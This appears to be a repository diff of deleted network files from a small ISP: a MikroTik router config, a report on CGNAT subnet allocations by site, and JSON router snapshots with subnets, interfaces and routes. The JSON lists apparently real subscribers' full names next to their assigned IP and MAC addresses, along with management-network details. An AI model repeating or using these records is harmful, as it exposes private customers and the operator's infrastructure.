add address=10.0.20.254/24 interface=bridgeLocal network=10.0.20.0
add address=172.17.0.1/16 interface=dockers network=172.17.0.0
/ip dhcp-client
add comment=tmobile default-route-distance=1 interface=ether3-tmobile
# Interface not active
add comment=defconf default-route-distance=2 interface=ether2-starlink
/ip dhcp-server lease
add address=10.0.20.251 client-id=1:2:a6:41:99:eb:4a mac-address=\
02:A6:41:99:EB:4A server=dhcp1
add address=10.0.20.252 client-id=\
ff:7e:7c:b4:ba:0:2:0:0:ab:11:20:5d:5:17:27:4d:31:d5 mac-address=\
BC:24:11:24:87:16 server=dhcp1
add address=10.0.20.249 client-id=\
ff:11:c3:76:34:0:1:0:1:30:a2:27:b8:bc:24:11:c3:76:34 mac-address=\
BC:24:11:C3:76:34 server=dhcp1
add address=10.0.20.253 mac-address=BC:24:11:E1:EA:98 server=dhcp1
/ip dhcp-server network
add address=10.0.20.0/24 dns-server=10.0.20.253,9.9.9.9,149.112.112.112 \
gateway=10.0.20.254 netmask=24
/ip firewall nat
add action=masquerade chain=srcnat out-interface-list=WAN
/ip route
add comment=starlink disabled=no dst-address=192.168.100.1/32 gateway=\
192.168.1.1 routing-table=main suppress-hw-offload=no
add dst-address=100.64.0.0/10 gateway=172.17.0.2
/ip upnp
set enabled=yes
/ip upnp interfaces
add interface=bridgeLocal type=internal
add interface=ether1 type=external
/ipv6 address
# address pool error: pool not found: starlink-v6 (4)
add address=::2 from-pool=starlink-v6 interface=bridgeLocal
/ipv6 dhcp-client
add interface=ether2-starlink pool-name=starlink-v6 rapid-commit=no request=\
prefix use-interface-duid=yes
/ipv6 firewall address-list
add address=::/128 comment="defconf: unspecified address" list=bad_ipv6
add address=::1/128 comment="defconf: lo" list=bad_ipv6
add address=fec0::/10 comment="defconf: site-local" list=bad_ipv6
add address=::ffff:0.0.0.0/96 comment="defconf: ipv4-mapped" list=bad_ipv6
add address=::/96 comment="defconf: ipv4 compat" list=bad_ipv6
add address=100::/64 comment="defconf: discard only " list=bad_ipv6
add address=2001:db8::/32 comment="defconf: documentation" list=bad_ipv6
add address=2001:10::/28 comment="defconf: ORCHID" list=bad_ipv6
add address=fe80::/10 list=prefix_delegation
add address=2605:59c8:4700:5c61::1/128 comment="dhcp6 client server value" \
list=prefix_delegation
/ipv6 firewall filter
add action=accept chain=input dst-port=5678 protocol=udp
add action=accept chain=input comment=\
"defconf: accept established,related,untracked" connection-state=\
established,related,untracked
add action=drop chain=input comment="defconf: drop invalid" connection-state=\
invalid
add action=accept chain=input comment="defconf: accept ICMPv6" protocol=\
icmpv6
add action=accept chain=input comment="defconf: accept UDP traceroute" port=\
33434-33534 protocol=udp
add action=accept chain=input comment=\
"defconf: accept DHCPv6-Client prefix delegation." dst-port=546 protocol=\
udp src-address-list=prefix_delegation
add action=drop chain=input comment=\
"defconf: drop everything else not coming from LAN" in-interface=\
!bridgeLocal
add action=accept chain=forward comment=\
"defconf: accept established,related,untracked" connection-state=\
established,related,untracked
add action=drop chain=forward comment="defconf: drop invalid" \
connection-state=invalid
add action=drop chain=forward comment=\
"defconf: drop packets with bad src ipv6" src-address-list=bad_ipv6
add action=drop chain=forward comment=\
"defconf: drop packets with bad dst ipv6" dst-address-list=bad_ipv6
add action=drop chain=forward comment="defconf: rfc4890 drop hop-limit=1" \
hop-limit=equal:1 protocol=icmpv6
add action=accept chain=forward comment="defconf: accept ICMPv6" protocol=\
icmpv6
add action=accept chain=forward comment="defconf: accept HIP" protocol=139
add action=drop chain=forward comment=\
"defconf: drop everything else not coming from LAN" in-interface=\
!bridgeLocal
/ipv6 nd
set [ find default=yes ] advertise-dns=no hop-limit=64 \
managed-address-configuration=yes mtu=1280 other-configuration=yes \
ra-interval=3m20s-8m20s
/ipv6 nd prefix default
set preferred-lifetime=10m valid-lifetime=15m
/system clock
set time-zone-name=America/Chicago
/system identity
set name=camper
/system leds
add interface=wlan1 leds="wlan1_signal1-led,wlan1_signal2-led,wlan1_signal3-le\
d,wlan1_signal4-led,wlan1_signal5-led" type=wireless-signal-strength
add interface=wlan1 leds=wlan1_tx-led type=interface-transmit
add interface=wlan1 leds=wlan1_rx-led type=interface-receive
/system routerboard settings
set auto-upgrade=yes

View file

@ -1,54 +0,0 @@
# CGNAT Allocation Analysis
This report analyzes the CGNAT (100.64.x.x) subnet allocations across all network sites to identify which sites use /22 allocations versus other sizes.
## Summary
### Sites Using /22 Allocations
1. **Climax** - 100.64.4.0/22 (100.64.4.0 - 100.64.7.255)
2. **Culleoka** - 100.64.24.0/22 (100.64.24.0 - 100.64.27.255)
3. **Site 982** - 100.64.32.0/22 (100.64.32.0 - 100.64.35.255)
4. **New Hope** - 100.64.16.0/22 (100.64.16.0 - 100.64.19.255)
5. **Site 380** - 100.64.8.0/22 (100.64.8.0 - 100.64.11.255)
### Sites Using /20 Allocations
1. **Site 494** - 100.64.160.0/20 (100.64.160.0 - 100.64.175.255)
2. **Lowry Crossing** - 100.64.144.0/20 (100.64.144.0 - 100.64.159.255)
## Detailed Site Information
### /22 Allocations (1,024 addresses each)
| Site | CGNAT Subnet | Router IP | Interface |
|------|-------------|-----------|-----------|
| Climax | 100.64.4.0/22 | 100.64.7.254/22 | climax-bridge |
| Culleoka | 100.64.24.0/22 | 100.64.27.254/22 | ether2-netonix |
| Site 982 | 100.64.32.0/22 | 100.64.35.254/22 | 982 |
| New Hope | 100.64.16.0/22 | 100.64.19.254/22 | sfp-sfpplus1-edgepoint |
| Site 380 | 100.64.8.0/22 | 100.64.11.254/22 | combo1-380 |
### /20 Allocations (4,096 addresses each)
| Site | CGNAT Subnet | Router IP | Interface |
|------|-------------|-----------|-----------|
| Site 494 | 100.64.160.0/20 | 100.64.175.254/20 | 494 |
| Lowry Crossing | 100.64.144.0/20 | 100.64.159.254/20 | lowrycrossing |
## Key Observations
1. **Allocation Size Pattern**:
- 5 sites use /22 allocations (1,024 addresses)
- 2 sites use /20 allocations (4,096 addresses)
2. **Larger Sites**: Sites 494 and Lowry Crossing have 4x larger CGNAT allocations compared to the other sites, suggesting they either serve more customers or were allocated larger blocks for future growth.
3. **Address Usage**: The /22 sites can support up to 1,022 customer connections (excluding network and broadcast addresses), while the /20 sites can support up to 4,094 customer connections.
4. **Sequential Allocation**: The /22 allocations appear to be somewhat sequential:
- 100.64.4.0/22 (Climax)
- 100.64.8.0/22 (Site 380)
- 100.64.16.0/22 (New Hope)
- 100.64.24.0/22 (Culleoka)
- 100.64.32.0/22 (Site 982)
5. **Separate Range for /20s**: The /20 allocations are in a different part of the CGNAT space:
- 100.64.144.0/20 (Lowry Crossing)
- 100.64.160.0/20 (Site 494)

File diff suppressed because it is too large Load diff

View file

@ -1,30 +0,0 @@
[
{
"name": "Gordon Hamilton",
"ip": "10.10.16.36",
"mac": "FC:EC:DA:CE:69:97",
"source": "dhcp",
"comment": ""
},
{
"name": "Tae Kim",
"ip": "10.10.16.70",
"mac": "FC:EC:DA:CE:68:19",
"source": "dhcp",
"comment": ""
},
{
"name": "ether5-494",
"ip": "10.250.1.65",
"mac": "DC:2C:6E:DD:87:55",
"source": "arp",
"interface": "ether5-494"
},
{
"name": "mgmt",
"ip": "10.10.31.13",
"mac": "80:2A:A8:FC:1D:AE",
"source": "arp",
"interface": "mgmt"
}
]

File diff suppressed because it is too large Load diff

View file

@ -1,683 +0,0 @@
{
"host": "10.254.254.102",
"identity": null,
"timestamp": "2026-03-26T17:14:54.781268",
"subnets": [
{
"address": "10.0.102.254/24",
"network": "10.0.102.0",
"interface": "ether1-climaxtower",
"comment": "",
"dynamic": false
},
{
"address": "10.254.254.102/32",
"network": "10.254.254.102",
"interface": "lo",
"comment": "",
"dynamic": false
},
{
"address": "204.110.188.62/27",
"network": "204.110.188.32",
"interface": "climax-bridge",
"comment": "",
"dynamic": false
},
{
"address": "100.64.7.254/22",
"network": "100.64.4.0",
"interface": "climax-bridge",
"comment": "",
"dynamic": false
},
{
"address": "10.250.1.14/29",
"network": "10.250.1.8",
"interface": "ether3-culleoka-11ghz",
"comment": "",
"dynamic": false
},
{
"address": "10.250.1.30/29",
"network": "10.250.1.24",
"interface": "ether6-verona-11ghz",
"comment": "",
"dynamic": false
},
{
"address": "10.250.1.70/29",
"network": "10.250.1.64",
"interface": "ether5-494",
"comment": "",
"dynamic": false
},
{
"address": "10.250.1.94/29",
"network": "10.250.1.88",
"interface": "ether4-380-airfiber24",
"comment": "",
"dynamic": false
},
{
"address": "10.10.31.254/20",
"network": "10.10.16.0",
"interface": "mgmt",
"comment": "",
"dynamic": false
},
{
"address": "100.64.7.247/32",
"network": "100.64.7.246",
"interface": "<pppoe-robbymccollom>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.245/32",
"network": "100.64.7.244",
"interface": "<pppoe-matthewgoodwin>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.241/32",
"network": "100.64.7.240",
"interface": "<pppoe-chasewilliams>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.239/32",
"network": "100.64.7.238",
"interface": "<pppoe-timgilbert>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.235/32",
"network": "100.64.7.234",
"interface": "<pppoe-gordonhamilton>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.231/32",
"network": "100.64.7.230",
"interface": "<pppoe-amberprater>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.229/32",
"network": "204.110.188.38",
"interface": "<pppoe-michaelray>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.228/32",
"network": "100.64.7.227",
"interface": "<pppoe-cynthiajones>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.224/32",
"network": "100.64.7.223",
"interface": "<pppoe-janicealexander>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.220/32",
"network": "100.64.7.219",
"interface": "<pppoe-douggarber>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.218/32",
"network": "100.64.7.217",
"interface": "<pppoe-marysmelser>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.216/32",
"network": "100.64.7.215",
"interface": "<pppoe-eddieyarbrough>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.214/32",
"network": "204.110.188.42",
"interface": "<pppoe-taekim>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.213/32",
"network": "100.64.7.212",
"interface": "<pppoe-charlesboone>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.211/32",
"network": "100.64.7.210",
"interface": "<pppoe-chadwhitsell>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.209/32",
"network": "100.64.7.208",
"interface": "<pppoe-donnacampbell>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.207/32",
"network": "100.64.7.206",
"interface": "<pppoe-bryangoulart>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.205/32",
"network": "100.64.7.204",
"interface": "<pppoe-richardbarragan>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.199/32",
"network": "100.64.7.198",
"interface": "<pppoe-tammieventris>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.197/32",
"network": "100.64.7.196",
"interface": "<pppoe-crystalharney>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.195/32",
"network": "100.64.7.194",
"interface": "<pppoe-johnvayo>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.193/32",
"network": "100.64.7.192",
"interface": "<pppoe-glendabeauchamp>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.189/32",
"network": "100.64.7.188",
"interface": "<pppoe-carolstrickland>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.242/32",
"network": "100.64.7.184",
"interface": "<pppoe-jmichaelculverhouse>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.248/32",
"network": "100.64.7.181",
"interface": "<pppoe-elviraquezada>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.183/32",
"network": "100.64.7.177",
"interface": "<pppoe-rhondabolton>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.236/32",
"network": "100.64.7.175",
"interface": "<pppoe-janetkern>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.202/32",
"network": "100.64.7.171",
"interface": "<pppoe-timbagert>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.190/32",
"network": "100.64.7.170",
"interface": "<pppoe-gregmcintire>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.173/32",
"network": "100.64.7.167",
"interface": "<pppoe-ruthfengler>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.250/32",
"network": "100.64.4.1",
"interface": "<pppoe-mauriciosoto>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.169/32",
"network": "100.64.7.164",
"interface": "<pppoe-jenniferboon>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.165/32",
"network": "100.64.7.163",
"interface": "<pppoe-buddyswan>",
"comment": "",
"dynamic": true
}
],
"interfaces": [
{
"name": "ether4-380-airfiber24",
"type": "ether",
"mac": "F4:1E:57:6B:41:C3",
"comment": "",
"mtu": 1500
},
{
"name": "ether5-494",
"type": "ether",
"mac": "F4:1E:57:6B:41:C4",
"comment": "",
"mtu": 1500
},
{
"name": "ether6-verona-11ghz",
"type": "ether",
"mac": "F4:1E:57:6B:41:C5",
"comment": "",
"mtu": 1500
},
{
"name": "ether8-michael",
"type": "ether",
"mac": "F4:1E:57:6B:41:C7",
"comment": "",
"mtu": 1500
},
{
"name": "sfp-sfpplus1",
"type": "ether",
"mac": "F4:1E:57:6B:41:D0",
"comment": "",
"mtu": 1500
},
{
"name": "<pppoe-amberprater>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-bryangoulart>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-buddyswan>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-carolstrickland>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-chadwhitsell>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-charlesboone>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-chasewilliams>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-crystalharney>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-cynthiajones>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-donnacampbell>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-douggarber>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-eddieyarbrough>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-elviraquezada>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1484
},
{
"name": "<pppoe-glendabeauchamp>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-gordonhamilton>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-gregmcintire>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-janetkern>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-janicealexander>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-jenniferboon>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-jmichaelculverhouse>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-johnvayo>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-marysmelser>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-matthewgoodwin>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-mauriciosoto>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-michaelray>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-rhondabolton>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-richardbarragan>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-robbymccollom>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-ruthfengler>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-taekim>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-tammieventris>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-timbagert>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-timgilbert>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "climax-bridge",
"type": "bridge",
"mac": "F4:1E:57:6B:41:C1",
"comment": "",
"mtu": "auto"
},
{
"name": "lo",
"type": "loopback",
"mac": "00:00:00:00:00:00",
"comment": "",
"mtu": 65536
},
{
"name": "mgmt",
"type": "bridge",
"mac": "F4:1E:57:6B:41:C6",
"comment": "",
"mtu": "auto"
},
{
"name": "vlan10_sfp-sfpplus1",
"type": "vlan",
"mac": "F4:1E:57:6B:41:D0",
"comment": "",
"mtu": 1500
}
],
"vlans": [
{
"name": "vlan10_ether7",
"vlan_id": 10,
"interface": "ether7-switch"
},
{
"name": "vlan10_sfp-sfpplus1",
"vlan_id": 10,
"interface": "sfp-sfpplus1"
}
],
"pppoe_servers": [
{
"service_name": "Climax",
"interface": "climax-bridge"
}
],
"routes": [
{
"destination": "10.10.0.0/20",
"gateway": "10.250.1.25",
"distance": 1,
"comment": ""
},
{
"destination": "10.10.80.0/20",
"gateway": "10.250.1.25",
"distance": 1,
"comment": ""
},
{
"destination": "10.250.1.64/29",
"gateway": "10.250.1.65",
"distance": 1,
"comment": ""
},
{
"destination": "10.254.254.101/32",
"gateway": "10.250.1.25",
"distance": 1,
"comment": ""
},
{
"destination": "10.254.254.111/32",
"gateway": "10.250.1.65",
"distance": 1,
"comment": ""
},
{
"destination": "100.10.160.0/20",
"gateway": "10.250.1.65",
"distance": 1,
"comment": ""
},
{
"destination": "100.64.0.0/22",
"gateway": "10.250.1.25",
"distance": 1,
"comment": ""
},
{
"destination": "100.64.160.0/20",
"gateway": "10.250.1.65",
"distance": 1,
"comment": ""
},
{
"destination": "204.110.188.64/27",
"gateway": "10.250.1.65",
"distance": 1,
"comment": ""
},
{
"destination": "204.110.188.224/27",
"gateway": "10.250.1.25",
"distance": 1,
"comment": ""
},
{
"destination": "204.110.191.0/27",
"gateway": "10.250.1.25",
"distance": 1,
"comment": ""
}
]
}

View file

@ -1,669 +0,0 @@
{
"host": "10.254.254.102",
"identity": null,
"timestamp": "2026-02-06T12:54:21.532581",
"subnets": [
{
"address": "10.0.102.254/24",
"network": "10.0.102.0",
"interface": "ether1-climaxtower",
"comment": "",
"dynamic": false
},
{
"address": "10.254.254.102/32",
"network": "10.254.254.102",
"interface": "lo",
"comment": "",
"dynamic": false
},
{
"address": "204.110.188.62/27",
"network": "204.110.188.32",
"interface": "climax-bridge",
"comment": "",
"dynamic": false
},
{
"address": "100.64.7.254/22",
"network": "100.64.4.0",
"interface": "climax-bridge",
"comment": "",
"dynamic": false
},
{
"address": "10.250.1.14/29",
"network": "10.250.1.8",
"interface": "ether3-culleoka-11ghz",
"comment": "",
"dynamic": false
},
{
"address": "10.250.1.30/29",
"network": "10.250.1.24",
"interface": "ether6-verona-11ghz",
"comment": "",
"dynamic": false
},
{
"address": "10.250.1.70/29",
"network": "10.250.1.64",
"interface": "ether5-494",
"comment": "",
"dynamic": false
},
{
"address": "10.250.1.94/29",
"network": "10.250.1.88",
"interface": "ether4-380-airfiber24",
"comment": "",
"dynamic": false
},
{
"address": "10.10.31.254/20",
"network": "10.10.16.0",
"interface": "mgmt",
"comment": "",
"dynamic": false
},
{
"address": "100.64.7.220/32",
"network": "204.110.188.38",
"interface": "<pppoe-michaelray>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.89/32",
"network": "100.64.7.149",
"interface": "<pppoe-gordonhamilton>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.64/32",
"network": "100.64.7.155",
"interface": "<pppoe-bryangoulart>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.148/32",
"network": "100.64.7.160",
"interface": "<pppoe-marysmelser>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.159/32",
"network": "100.64.7.246",
"interface": "<pppoe-chasewilliams>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.162/32",
"network": "100.64.7.243",
"interface": "<pppoe-charlesboone>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.163/32",
"network": "100.64.7.244",
"interface": "<pppoe-timgilbert>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.9/32",
"network": "100.64.7.118",
"interface": "<pppoe-rhondabolton>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.2/32",
"network": "100.64.7.66",
"interface": "<pppoe-robbymccollom>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.22/32",
"network": "100.64.7.241",
"interface": "<pppoe-matthewgoodwin>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.10/32",
"network": "100.64.7.250",
"interface": "<pppoe-crystalharney>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.41/32",
"network": "100.64.7.249",
"interface": "<pppoe-johnvayo>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.7/32",
"network": "100.64.7.72",
"interface": "<pppoe-cynthiajones>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.11/32",
"network": "100.64.7.235",
"interface": "<pppoe-timbagert>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.35/32",
"network": "100.64.7.248",
"interface": "<pppoe-carolstrickland>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.37/32",
"network": "100.64.7.27",
"interface": "<pppoe-gregmcintire>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.34/32",
"network": "100.64.7.209",
"interface": "<pppoe-jmichaelculverhouse>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.211/32",
"network": "204.110.188.42",
"interface": "<pppoe-taekim>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.19/32",
"network": "100.64.7.91",
"interface": "<pppoe-chadwhitsell>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.16/32",
"network": "100.64.7.102",
"interface": "<pppoe-douggarber>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.12/32",
"network": "100.64.7.103",
"interface": "<pppoe-glendabeauchamp>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.25/32",
"network": "100.64.7.150",
"interface": "<pppoe-amberprater>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.5/32",
"network": "100.64.7.216",
"interface": "<pppoe-ruthfengler>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.6/32",
"network": "100.64.7.228",
"interface": "<pppoe-elviraquezada>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.3/32",
"network": "100.64.7.233",
"interface": "<pppoe-janicealexander>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.4/32",
"network": "100.64.7.234",
"interface": "<pppoe-richardbarragan>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.8/32",
"network": "100.64.7.238",
"interface": "<pppoe-jenniferboon>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.21/32",
"network": "100.64.7.247",
"interface": "<pppoe-donnacampbell>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.184/32",
"network": "100.64.4.1",
"interface": "<pppoe-mauriciosoto>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.13/32",
"network": "100.64.7.62",
"interface": "<pppoe-buddyswan>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.28/32",
"network": "100.64.7.71",
"interface": "<pppoe-eddieyarbrough>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.7.18/32",
"network": "100.64.7.106",
"interface": "<pppoe-tammieventris>",
"comment": "",
"dynamic": true
}
],
"interfaces": [
{
"name": "ether4-380-airfiber24",
"type": "ether",
"mac": "F4:1E:57:6B:41:C3",
"comment": "",
"mtu": 1500
},
{
"name": "ether5-494",
"type": "ether",
"mac": "F4:1E:57:6B:41:C4",
"comment": "",
"mtu": 1500
},
{
"name": "ether6-verona-11ghz",
"type": "ether",
"mac": "F4:1E:57:6B:41:C5",
"comment": "",
"mtu": 1500
},
{
"name": "ether8-michael",
"type": "ether",
"mac": "F4:1E:57:6B:41:C7",
"comment": "",
"mtu": 1500
},
{
"name": "sfp-sfpplus1",
"type": "ether",
"mac": "F4:1E:57:6B:41:D0",
"comment": "",
"mtu": 1500
},
{
"name": "<pppoe-amberprater>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-bryangoulart>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-buddyswan>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-carolstrickland>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-chadwhitsell>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-charlesboone>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-chasewilliams>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-crystalharney>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-cynthiajones>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-donnacampbell>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-douggarber>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-eddieyarbrough>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-elviraquezada>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1484
},
{
"name": "<pppoe-glendabeauchamp>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-gordonhamilton>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-gregmcintire>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-janicealexander>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-jenniferboon>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-jmichaelculverhouse>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-johnvayo>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-marysmelser>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-matthewgoodwin>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-mauriciosoto>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-michaelray>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-rhondabolton>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-richardbarragan>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-robbymccollom>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-ruthfengler>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-taekim>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-tammieventris>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-timbagert>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-timgilbert>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "climax-bridge",
"type": "bridge",
"mac": "F4:1E:57:6B:41:C1",
"comment": "",
"mtu": "auto"
},
{
"name": "lo",
"type": "loopback",
"mac": "00:00:00:00:00:00",
"comment": "",
"mtu": 65536
},
{
"name": "mgmt",
"type": "bridge",
